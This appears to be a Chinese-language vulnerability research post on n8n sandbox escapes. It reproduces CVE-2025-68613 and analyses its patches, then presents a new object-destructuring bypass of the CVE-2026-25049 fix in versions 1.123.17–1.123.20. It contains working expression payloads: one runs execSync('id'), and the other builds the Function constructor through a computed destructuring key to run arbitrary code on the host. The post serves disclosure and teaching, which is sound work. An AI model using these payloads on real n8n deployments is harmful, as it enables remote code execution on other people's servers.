CVE-2026-25049 仍可绕过:复现并发现新的对象解构变体
审计 n8n CVE-2026-25049 补丁过程中发现的一个新绕过变体,能主机上执行远程代码,从而有效绕过所有沙箱限制。所有使用基于 vm2 沙箱的 n8n 版本(1.123.17 至 1.123.20)均受影响。
CVE-2026-25049 仍可绕过:复现并发现新的对象解构变体
前言
这里是在CVE-2026-25049出来后第一时间就进行了复现,但是这里快复现完了发现了貌似这里也没有完全修复好,所以进行了一定的构造和验证,经过证明是能稳定复现而且危害极大的,后面将漏洞的验证以及过程发给n8n团队,过完年后一看,n8n官方说的是n8n项目的v1.x版本后面会停止更新了,而这个漏洞主要是针对CVE-2026-25049修补后的v1.x这个分支,而v2.x分支影响就很小了,也是运气不好,最后没有提供cve编号
但是这个漏洞的发现过程和理解还是比较有参考意义的,涉及到了AST的局限性以及JS 层面做沙箱的局限性等等
分析开始
去年底,n8n 爆出了 CVE-2025-68613(沙箱逃逸 RCE),官方紧急发布了修复补丁,试图通过 AST(抽象语法树)分析来拦截恶意代码, 当时的修复逻辑看起来固若金汤:只要你敢在表达式里写 constructor、process 这种敏感词,我就直接报错。
然而,仅仅几周后,就有人发现了绕过方法,最近出来的CVE-2026-25049 证明,在极其灵活的 JS 语法面前,基于静态 AST 的黑名单防御不是当下最好的选择
那么本文将对上述两条攻击链路进行闭环分析,重点拆解攻击者如何利用 JavaScript 对象解构特性的解析盲区,实现对静态 AST 防御的降维打击,看看攻击者是如何利用对象解构这一语法特性,优雅的绕过官方的修复。
前世:CVE-2025-68613 的原罪
首先我们简要回顾一下老洞看看
简要了解
n8n 的核心功能之一是允许用户在节点参数里写表达式,例如 {{$json.foo}}。
原始利用逻辑
在 CVE-2025-68613 之前,这个表达式引擎的上下文隔离做得不够干净。攻击者可以通过访问对象的构造函数,一路摸到 Node.js 的全局环境。
这里就不自己去跟一遍了,毕竟不是最新的漏洞,网上有很多的分析文章,这里参考一位研究者的source-to-sink https://fatihhcelik.github.io/posts/n8n-RCEs-A-Tale-of-4-Acts/
用户表达式 → resolveSimpleParameterValue() → evaluateExpression() → 第三方表达式执行库(Tournament)解析 AST → 运行 AST hook(PrototypeSanitizer)→ 执行表达式 → 触发上下文泄漏 → 后续可被拼成 RCE。攻击链路拓扑如下
那这里的关键点出错在哪儿
关键失败点是:表达式里跑了一个函数(IIFE),在非严格模式下,函数里的 this 会指向全局对象(global object)。Fatih 的复盘里把核心逻辑写得非常直白:IIFE 中 this = global object,而 global.process 是真实 Node.js process,不是放进 data 里的那个安全 proxy。
换句话说 n8n 以为自己把 data.process 换成了“安全版 process”,表达式执行时就只能看到它。但攻击者不从 data 取,而是用 IIFE 抓到真实 this,直接绕开 data 的代理,摸到 global.process。
这里上个读环境的小脚本帮助大家理解
import subprocess
import textwrap
js = textwrap.dedent(r"""
// 这是一个“玩具环境”,只为了说明漏洞原理:
// 1) 准备了一个“安全 data.process”
// 2) 但攻击者在非严格函数里用 this 拿到真实 global,从而绕开 data
// 假装这是 n8n 准备的安全上下文
const data = {
process: { platform: "SAFE_PROXY_PLATFORM", version: "SAFE_PROXY_VERSION" }
};
// 真实 Node 全局
globalThis.__REAL_PLATFORM__ = process.platform;
globalThis.__REAL_VERSION__ = process.version;
// 攻击者表达式(概念化):利用非严格函数 this 指向全局对象
function attacker() {
// 非严格模式下,this 指向 globalThis(在很多场景里就是这样)
// 这里用“读版本”证明你拿到的不是 data.process
return {
safe_proxy_process: data.process,
leaked_real_process: { platform: this.__REAL_PLATFORM__, version: this.__REAL_VERSION__ }
};
}
console.log(JSON.stringify(attacker.call(globalThis), null, 2));
""")
out = subprocess.check_output(["node", "-e", js], text=True)
print(out)
safe_proxy_process是你伪造的安全对象leaked_real_process是从globalThis拿到的真实 Node 环境信息
这就演示了:你以为给了“安全 data”,但攻击者根本不看它,直接从 this/global 旁路拿真实东西。
执行后得到你本机的node环境(明明准备了一个“安全替身”,但代码照样能拿到“真实的 Node 环境”。),CVE-2025-68613 的核心就是:攻击者通过 JS 的语法/执行上下文特性(典型就是 this 或类似路径)绕开净化上下文,最终摸到真实 Node 能力(真实的process、模块加载、执行等)
这里我们直接去验证一下
在docker上拉一个1.121.0版本进行一下验证(tips:千万不要选择1.120.3版本,亲测代码有问题,会死死卡在登录界面的sso初始化)
docker pull ghcr.io/n8n-io/n8n:1.121.0
docker run -d --name n8n \
-p 5678:5678 \
-e N8N_LISTEN_ADDRESS=0.0.0.0 \
-e N8N_HOST=106.53.88.90 \
-e N8N_PROTOCOL=http \
-e N8N_PORT=5678 \
-e N8N_EDITOR_BASE_URL=http://106.53.88.90:5678/ \
-e WEBHOOK_URL=http://106.53.88.90:5678/ \
-e N8N_SECURE_COOKIE=false \
-v ~/.n8n:/home/node/.n8n \
ghcr.io/n8n-io/n8n:1.121.0首先添加手动触发器
然后在刚刚的触发器上添加一个 编辑字段(设置)
然后在编辑字段里填入危险代码
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}这里的效果就是先利用 Layer-I 上下文“净化”没兜住的执行上下文漏洞,通过 IIFE 把 this 指到真实全局对象,从而绕开 data/proxy 里那个“安全替身”。拿到真实运行时对象后,再沿着原型/属性访问链把能力一步步抬到 Node 的模块加载与系统能力,最终实现“表达式求值”变成“任意代码执行”的效果。
这里需要特别注意一个点就是mainModule
击者已经拿到了真实 process,接下来要做的是:拿到模块加载能力。
在 Node 里,“模块加载能力”最核心的东西就是 require()(能加载内置模块/第三方模块)。
某些链路会尝试从运行时对象上绕出一个可用的 require 入口,其中 mainModule(历史字段)经常被拿来当跳板之一。
所以这里你也能看到为什么后续补丁里会把 mainModule、binding、_load 之类加入危险列表
真实环境验证
这里说明了进程是以 node 这个用户在系统里执行的
最常规的输出id来证明
这里官方给出的第一波修复
patch 1
Merge commit from fork · n8n-io/n8n@08f3320
主要的改动
expression-evaluator-proxy.ts
新增 FunctionThisSanitizer:在执行前改写 AST,强行“绑死 this
变化点:把 FunctionThisSanitizer 接进 AST “before hook”
原来 tournament evaluator 的 before 是空的,现在变成:
before: [FunctionThisSanitizer]after: [PrototypeSanitizer, DollarSignValidator]
也就是说:表达式还没执行,先做 AST 级“改写/修剪”,让 this 不可能指到 Node 全局。 这正好呼应你前面写的 Layer-I:“光靠 data/proxy 净化不够,因为攻击者走 this/global 旁路”。
expression-sandboxing.ts
新增了 FunctionThisSanitizer,在表达式执行前直接改写 AST:把所有 IIFE 调用改成 .call(EMPTY_CONTEXT, ...)、把函数表达式统一包成 .bind(EMPTY_CONTEXT),强制把函数里的 this 绑定到一个只有空 process 的安全上下文。这样就把 CVE-2025-68613 里“通过 this/global 旁路拿到真实 Node process”的逃逸路径从根上掐断了
utils.ts
这里就是上面讲mainModule的时候提到的关于扩展 unsafeObjectProperties(Layer-III 加固)
原来黑名单只有:
__proto__, prototype, constructor, getPrototypeOf
现在新增了:
mainModule, binding, _load
今生:CVE-2026-25049
CVE-2025-68613 的主通道(this 绑定到 Node 全局)确实被“强制 call/bind 到空上下文”堵住了。
但也正因为他们把防御重心进一步押在 AST 改写 + 属性黑名单 上,后续的绕过方向就很明确了
因为这里的这种修复把防线更依赖于 “我能在 AST 里识别出你在干什么”。而 JavaScript 最不缺的就是“同一件事有n种不同过的写法”。于是攻击者转向了另一条思路:
不再硬刚 this,而是寻找一种语法形态,让 Layer-III 的属性检查 提取不到属性名,从而把黑名单检查直接“短路掉”。
而“对象解构”就是这种绕路语法里最舒服的一种。
那么对象解构怎么做到的呢
CVE-2025-68613 那条“IIFE 里 this 指到 Node 全局”的主链路,确实被补丁用 .call/.bind(EMPTY_CONTEXT) 按死了。n8n 因“对象解构”再次沦陷
但副作用也很明显:防守越来越依赖 AST 改写 + 属性黑名单,也就是“我在静态阶段能看懂你在访问什么”。
JS 偏偏就擅长把同一件事写出一堆等价形态。于是绕过思路也很直接:不跟 this 纠缠,改成让属性检查拿不到属性名,黑名单分支就走不到。
这里最顺手的语法,就是对象解构 + 计算属性键。
绕过点是什么
补丁的拦截主要针对 obj.xxx / obj["xxx"] 这种“属性名是明牌”的写法。
而解构可以把属性名变成运行时才算出来的东西:
- 明牌(好拦)
obj.constructor
obj["constructor"] - 换一种方法表示
const { [expr]: x } = obj
防守逻辑本来是:从 AST 里提取 keyName,去 unsafeObjectProperties 查黑名单;
但一旦碰到计算属性键,keyName 往往会变成 undefined(静态阶段拿不到),不少实现就会默认放行,于是等于直接把检查短路了。n8n 因“对象解构”再次沦陷
放回三层防线看,为什么它能过
- Layer-I(绑定 this):这条链路根本不靠 this,所以你把 this 绑得再死也没用。
- Layer-II(正则兜底):正则一般盯
.constructor这种形态;解构不长这样,再加上计算属性键,敏感词甚至未必以连续字符串出现。 - Layer-III(AST + 属性黑名单):关键点就在这里——它依赖“静态能不能拿到属性名”。拿不到就跳过,绕过就成立
这里看看这个版本是如何修改的
patch2
NVD 在 CVE-2026-25049 的参考链接中列出了两条 n8n commit(7860896/936c06c),但它们实际修改的是 Git 节点对 remote URL 的脱敏处理(清除 URL 中的 username/password),更像是同一轮安全版本中的配套修复,而非表达式沙箱本身的核心补丁。
所以这里需要自己去找
使用comapare语法进行比较
Comparing n8n@1.123.16...n8n@1.123.17 · n8n-io/n8n
这里的漏洞主线是 表达式求值沙箱,这里第一个vm2 是 Node 里常见的沙箱执行组件,第二个expressions handling表达式的处理方式(不就是 {{ ... }} 这样的表达式吗)
所以很明显这里的8个commits里只有上面两个是和我们这里的漏洞相关的
refactor(core): Improve expressions handling (#24688) · n8n-io/n8n@30383d8
最关键改动:直接禁止 with 语句(AST 命中即抛错)
Before(以前:没有专门拦 with)
// PrototypeSanitizer 里没有 visitWithStatement 的分支After(现在:遇到 with 直接报错)
// packages/workflow/src/expression-sandboxing.ts
visitWithStatement() {
throw new ExpressionWithStatementError();
}在 packages/workflow/src/expression-sandboxing.ts 里对 AST 直接加禁令,with 语句命中就抛 ExpressionWithStatementError(本质是 visitWithStatement(){ throw ... }),同时把 __sanitize / ___n8n_data 设为保留名并在变量声明/函数参数/catch 参数等节点里拦截,防止用户用 shadowing 抢走沙箱关键绑定点。
fix: Unfork @n8n/vm2 (backport to 1.x) (#24597) · n8n-io/n8n@8ab4492
最关键改动:NodeVM import 全仓从 fork 包切回 vm2
Before
import { NodeVM } from '@n8n/vm2';After
import { NodeVM } from 'vm2';把沙箱底座从 fork 的 @n8n/vm2 回归上游 vm2,全仓把 import { NodeVM } from '@n8n/vm2' 替换为 from 'vm2',并同步调整各包依赖,属于执行隔离组件的统一与安全维护路径对齐。
思考还能绕过吗
那么看到这儿我们就开始思考一个问题,是否还能进行绕过呢?
分析完 CVE-2026-25049,最大的感触是 AST的局限性。
攻击者实际上是在利用 JavaScript 的动态特性来欺骗静态分析
• AST 看到的是 Computed Property(一个未知的计算过程)。
• 运行时看到的是 constructor(一个确定的危险字符串)。
这里粘在上帝视角审视的话双方给人的感觉就是时空错位感,莫名奇妙就放过了危险的传入,所以只要 n8n 还在坚持用 JS 写 JS 的解析器,这种绕过就永远存在。而我认为解法不是打补丁,
原因在于
虽然 Patch 2 通过禁用 with 语句和重构沙箱依赖提高了利用门槛,但它并没有解决核心的 “静态分析 vs 动态语言” 这一根本矛盾,甚至引入了新的供应链风险
因为Patch 2 的一个关键改动是将沙箱底座从 n8n 自己维护的 fork 版本切回了上游的 vm2 库,但是vm2 库由于架构设计缺陷(无法彻底解决 Proxy 逃逸问题),早已停止维护。此前已有多个 CVSS 10.0 的逃逸漏洞,比如 CVE-2023-37466 证明了在 JS 层面做沙箱是不可能的
那么在这个时间段回溯到一个已知不安全且不再维护的库,那么攻击者甚至不需要挖掘 n8n 的业务逻辑,只需要拿现成的 vm2 历史通杀 Payload(如基于 Error.prepareStackTrace 或 Proxy 的逃逸链)去打,极有可能直接穿透。
验证vm2的逃逸是否适用
所以这里思路有了,开始进行不断的尝试以及根据这里节点的返回值进行修改
在 n8n Patch 2 (v1.123.17) 环境中,官方为了防御 RCE,不仅回退到了 vm2,还实施了极端的运行时加固:
- 移除了
process.mainModule(阻断require)。 - 禁用了 Dynamic Import(阻断
import())。 - 置空了
process.env。
但这是否意味着 CVE-2026-25049 失效了呢?
这里我构造了一个 “环境指纹探测 Payload”,利用对象解构漏洞绕过 AST,直接探测沙箱内部残留的 process 对象。
主要的思路
绕过点
Patch 2 的核心防守押在“AST 能静态识别你在访问危险属性”。那我就选一个语法形态,让它在检查时拿不到属性名
对象解构 + 计算属性键,让黑名单提取不到 constructor
const c = "con" + "structor";
const { [c]: ObjectConstructor } = {};
const { [c]: FunctionConstructor } = ObjectConstructor;利用点
const attack = FunctionConstructor(` ... `);
return attack();基础的测试
如果 AST 正常工作,代码在静态分析阶段就会因为“非法访问 process”被拦截。
但这里代码成功执行并返回了 JSON,证明 CVE-2026-25049 的“对象解构绕过”逻辑完全成立。我们成功骗过了门口的保安。
**沙箱隔离失效 **:
我们成功获取了宿主机的 Node.js 版本 (v22.21.0) 和 工作目录 (/home/node)。
在严格的沙箱设计中,process 对象应该被完全屏蔽或 Mock。泄露真实运行时信息意味着攻击者可以为后续寻找特定 Node 版本的内核提权漏洞或二进制溢出漏洞提供情报。
因为这里涉及到的内容比较多,所这里的详细的关于逃逸以及js沙箱的内容会写在下一篇的文章里面,
最后继续探测和尝试后给出最后的poc为
// [Attack Demo : Simple Proof of Arbitrary Code Execution]
const c = "con" + "structor";
const { [c]: ObjectConstructor } = {};
const { [c]: FunctionConstructor } = ObjectConstructor;
// Create attack function
const attack = FunctionConstructor(`
// This function proves we can execute arbitrary JavaScript code
// 1. Prove code execution capability
const codeExecutionProof = "Malicious code executed: " + Date.now();
// 2. Access system information
const systemInfo = {
node: process.version,
pid: process.pid,
cwd: process.cwd(),
platform: process.platform
};
// 3. Attempt dangerous operations
const dangerousOps = [];
// Attempt to access prototype chain (can be used for further attacks)
try {
const protoChain = [];
let obj = this;
while (obj) {
protoChain.push(obj.constructor.name);
obj = Object.getPrototypeOf(obj);
}
dangerousOps.push({
name: "prototype_chain_access",
success: true,
chain: protoChain.slice(0, 5)
});
} catch (e) {
dangerousOps.push({
name: "prototype_chain_access",
success: false,
error: e.message
});
}
// Attempt to create intensive loop (simple DoS demonstration)
try {
let count = 0;
for (let i = 0; i < 1000000; i++) {
count += Math.random();
}
dangerousOps.push({
name: "cpu_intensive_operation",
success: true,
iterations: 1000000
});
} catch (e) {
dangerousOps.push({
name: "cpu_intensive_operation",
success: false,
error: e.message
});
}
// 4. Prove we can create additional attack code
const moreMaliciousCode = new Function('return "Secondary attack code: " + Math.random()')();
return {
proof: "ARBITRARY_CODE_EXECUTION_DEMONSTRATED",
code_executed: codeExecutionProof,
system_info: systemInfo,
dangerous_operations: dangerousOps,
secondary_attack: moreMaliciousCode,
risk_level: "CRITICAL",
impact: "Attacker can execute arbitrary JavaScript code, fully control the n8n environment"
};
`);
// Execute and return result
return attack();这里面的核心为
FunctionConstructor(...) / new Function(...):动态生成并执行代码(核心)
Date.now():生成运行时时间戳,作为“代码已执行”的可验证输出
process.*:证明能访问 Node 系统上下文,而且能触达 process 这种高价值对象
Object.getPrototypeOf():原型链探测能力
Math.random():DoS 方向
总结
尽管引入了缓解措施(迁移到 vm2 和额外的运行时强化),但经过身份验证的用户仍然可以逃逸沙箱,并在主机上以完整的系统权限执行任意 JavaScript。
问题出在哪儿?
问题源于 vm2 无法完全隔离 JavaScript 构造函数和原型链。
所以我觉得这也是n8n团队在1月份发布了最后一版本的1.x分支后,内部已经决定后面使用2.x的分支,这里他们说的是无法更改 1.x 版本的默认值,因为这会造成破坏性更改。
所以各位如果用的n8n是在这个本 1.123.17 至 1.123.20区间的,还是记得要更新一下哦
这里给出我当时提交这个漏洞的说明来总结一下
如果对本篇文章有不同观点欢迎讨论!
利用JS对象解构+计算属性键绕过n8n静态AST检查,实现沙箱逃逸与RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准